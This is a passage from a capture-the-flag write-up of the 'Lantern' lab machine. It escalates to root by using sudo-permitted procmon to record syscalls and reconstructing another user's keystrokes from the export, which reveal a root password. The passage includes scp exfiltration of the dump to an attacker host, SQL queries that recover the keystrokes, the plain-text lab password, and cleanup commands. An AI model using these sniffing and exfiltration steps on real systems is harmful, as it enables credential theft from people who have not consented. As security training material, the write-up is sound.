This is a bit odd, because we can’t actually access /root/automation.sh
:
Checking sudo -l
though, it seems we have access to one thing:
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
Procmon
I’ve never heard of procmon
, so I checked the help text:
It seems to be a process monitor. Kind of a worse version of htop
:
This program isn’t present on my attacker host, and it isn’t even in my package manager’s repos, so did a little searching online to see what it’s about.
Pretty quickly, I found a repo on Github that looks like a perfect match.
Here’s a sample of the info we can get from each process using procmon
:
Basically, we have access to all information that we could otherwise obtain using strace.
As shown in the procmon
screenshot, there’s also an Export feature. It dumps everything into a file in the working directory:
# move the file to give it an easier name
mv procmon_2024-08-21_08\:05\:42.db procmon-dump.db
The target doesn’t have sqlite3
, so let’s exfil the file:
cd loot
scp -i id_rsa tomas@$RADDR:/tmp/.Tools/procmon-dump.db .
Evidence of sudo
Since we can access pretty much everything that we’d normally be able to see using strace, why not just look for evidence of somebody else using sudo
? Surely there are other processes running on this box that are using an elevated shell already, right? And if so, can I catch them passing root credentials as keystrokes?
Initially, I pursued this idea by looking for evidence of someone typing in a password for a
sudo
command. I filtered theprocmon
screen for “sudo” and checked everywrite
syscall.But if you’re pretty linux-savvy, you’ll know that’s not a good way to do it 😉
As a demonstration, here’s a screenshot of me attempting
sudo cat /etc/shadow
without using my root password:i.e. it might be more effective to check for calls to
getuid
,geteuid
,setuid
,seteuid
, and theirgid
equivalents too.
Personally I’d rather work with the database from the Export than use the procmon
UI, so I opened DBeaver and made a new SQLite connection to the exfil’d database. (Everything I’m about to do could also be done from the sqlite3
CLI, but it’s slightly more convenient to do it within DBeaver.)
Looking around the database, I see that the main table is ebpf
. There is also a stats
table that shows the 10 most common syscalls, but that doesn’t help us. Th ebpf
table has a column indicating the syscall
of each process; let’s generate our own “stats” table:
SELECT syscall, COUNT(*) as count
FROM ebpf
GROUP BY syscall ORDER BY count DESC;
The fact that there’s 1 of each of the uid/gid related syscalls got me a bit excited, but it turned out to not be important. Likewise, I found a few execve
calls, but they didn’t seem like they led anywhere in particular…
There is a lot of data in this export. I think I’ll need to take a more targetted approach to find the privesc vector. 🤔
Finding the right process
It would help a lot if I could narrow down a certain syscall or a certain PID to examine. procmon
seems to gather hundreds of events every second, so it’s way too much to sift through in real time.
I’ll run through my usual local enumeration procedure to see if I notice anything, or if it gives any ideas 🔍
I’m kicking myself for not checking earlier, but obviously checking ps aux
and ps -e
would be a fantastic place to look for suspicious processes. So would pspy
. A quick check to who
indicates that I’m pts/1
, so who is on pts/0
? Look what file they’re modifying:
Very interesting. We already know from earlier that /root/automation.sh
is of particular importance on this box, so that seems like the perfect process to check for!
Procmon again
Since we know exactly which PID to examine, let’s filter procmon
for exactly that one:
sudo /usr/bin/procmon -p 6992
I’ll let this run for a little while.
Since we’re only watching one process,
procmon
isn’t gathering events nearly as fast as earlier. I’ll wait for a few thousand events to accumulate, then Export again and exfil the file back to my attacker host 🕐
Again, I’ll use DBeaver to analyze the results. The ebpf
table makes a little more sense if I sort it by syscall then by timestamp, so that the syscalls are clustered but chronological. This is the “filter” to use:
syscall not null order by syscall, timestamp
At least now we can see that the events are very, very repetitive. There are a lot of poll
, read
, and rt_sigaction
events that are pretty much the same, but then there are some write
calls that actually have some discernible data in the arguments. The first thing that caught my eye was the echo
in them:
Almost all of the write
events start with some whitespace followed by a [
and a few characters after the bracket - this is probably a control character?
If you’ve ever accidentally messed up your
tty
settings, you might have seen control characters in action. They are used for all kinds of things, like moving the virtual cursor around and changing text properties.
But note that some of the events actually have a printable character preceding the control character. That’s very interesting. Moreover, it seems like when that printable character exists, it’s always in the same position of the text (either the 9th or 10th character).
If we really focus on the events that have a printable character, we can see that it correlates to the rows that have a resultcode
equal to either 1
or 2
- Let’s narrow down the dataset even further:
syscall like "write" and resultcode > 0 and resultcode < 3 order by syscall, timestamp
😮 Whoa - we found something! Check out the printable characters preceding the control character. They spell out sudo ./backup.sh
. And the text keeps going after that, too.
Our suspicion is confirmed - We’re looking at someone’s keystrokes!
Let’s refine our query a little more to try to isolate just the important characters:
select
resultcode,
syscall,
arguments,
substr(rtrim(substr(arguments,9,2), '['), -1, 1) as character
from ebpf
where
syscall like "write" and
resultcode > 0 and
resultcode < 3
order by timestamp ASC
Unbelievable! We’ve caught a whole shell command being run within nano
. I can’t fit it all in one screenshot, but it spells out this:
echo Q3Eddtdw3pMB | sudo ./backup.sh
🤑 That must be the root password, given how it’s being used. Let’s try it:
su # use password Q3Eddtdw3pMB
🎉 It worked! We have a root shell. Finish off the box by reading the root flag:
cat /root/root.txt
EXTRA CREDIT
Root scripts
In the previous screenshot, we saw bot.exp
in the /root
directory. You may have also noticed earlier, that this is the process that was running nano
and entering the root password:
Expect
is a way of automating interaction with other applications, and uses its own scripting language. Out of interest, I took a look at this script to see how it worked:
spawn nano /root/automation.sh
set text "echo Q3Eddtdw3pMB | sudo ./backup.sh"
while {1} {
foreach char [split $text ""] {
send "$char"
sleep 1
}
send "\r"
sleep 0.5
for {set i 0} {$i < [string length $text]} {incr i} {
send "\b \b" ;
}
send "\r"
}
I was also curious about the cleanup script. If you’ve followed along with the walkthrough until now, you know that the admin dashboard kicks you out, over and over. Since Blazor is based on websockets, could they not just have established a socket session?
Actually, to do that, they would have had to use some other kind of mechanism for storing the sessions - probably something like Redis or memcached.
But if the developer did that, inevitably this would have also had to be part of the cleanup script… kind of a Catch-22!
Regardless, this was the line in the cleanup script that was responsible for all the Admin dashboard resets:
/usr/sbin/service blazor-server restart
CLEANUP
Target
I’ll get rid of the spot where I put my procmon
dumps, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
The procmon
dumps that I transferred to my attacker host were also quite large. I’ll delete them, just to save disk space:
rm loot/procmon-dump*
Also I’ll manually get rid of my /etc/hosts
entry.
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED
Attacker
- 🪲 Keep going after finding one vulnerability in a web app. I have to remind myself of this all the time. My tendency is to dive into a vulnerability to try to figure out how to exploit it, rather than taking a methodical breadth-first approach. On the admin panel of Lantern, the three vulnerabilities only really became useful when you combine them all together.
- 🔑 Check for SSH keys before planting your own. It’s a very minor mistake, but is also easily avoidable. It’s sneakier to log in using a key that’s already present.
- ⏩ Don’t skip your usual enumeration procedure. Even when you think you’ve noticed a sure-fire way to gain a foothold, or to privesc to root or anything, don’t skip steps. On this box, I accidentally wasted a lot of time on the root privesc, because I failed to notice the
nano /root/automation.sh
process running aspts/0
. If I would have done my usual enumeration procecedure (which involves checking the running processes), I would have noticed this much sooner.
Defender
🤖 All services accessible over the internet should run as a service account. On Lantern, the admin dashboard was running as a human user,
tomas
. Creating a low-privilege account for the webserver would have been a much better idea: it affords a hacker far fewer possibilities during an attack, and mitigates the consequences of a successful attack (if one is possible).🏦 Maintain a barrier between client and server regarding trusted data. In two places on Lantern, we abused the trust relationship that the developer had placed in client-held data: first the filepath of the
Upload Content
tool on the dashboard, then again on theIndexedDB
of the InternalLantern service. Think of what data should be allowed to flow between server and client, and never allow untrusted information to be accidentally trusted, or vise versa!🔐 Generate SSH keys on the remote host then use a trusted side-channel to plant the public key. This should be the first step of setting up any new host or account. If you get lazy and generate the private key on the local host (the one running
sshd
) then you must (at least) delete the private key afterwards. Key management can be complicated, but it’s very important.🙊 Beware echoed passwords. There’s a very good reason why keystrokes on password-entry fields are not echoed (or are replaced by dots or asterisks), and this box demonstrated that reason very well. Usually, even the root user does not have direct access to someone’s passwords - in a normal environment all they can really access is the password hash. However, when a password gets echoed, anyone spying on the terminal session, watching a remote connection, or even observing syscalls, can discern the text that’s being entered.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake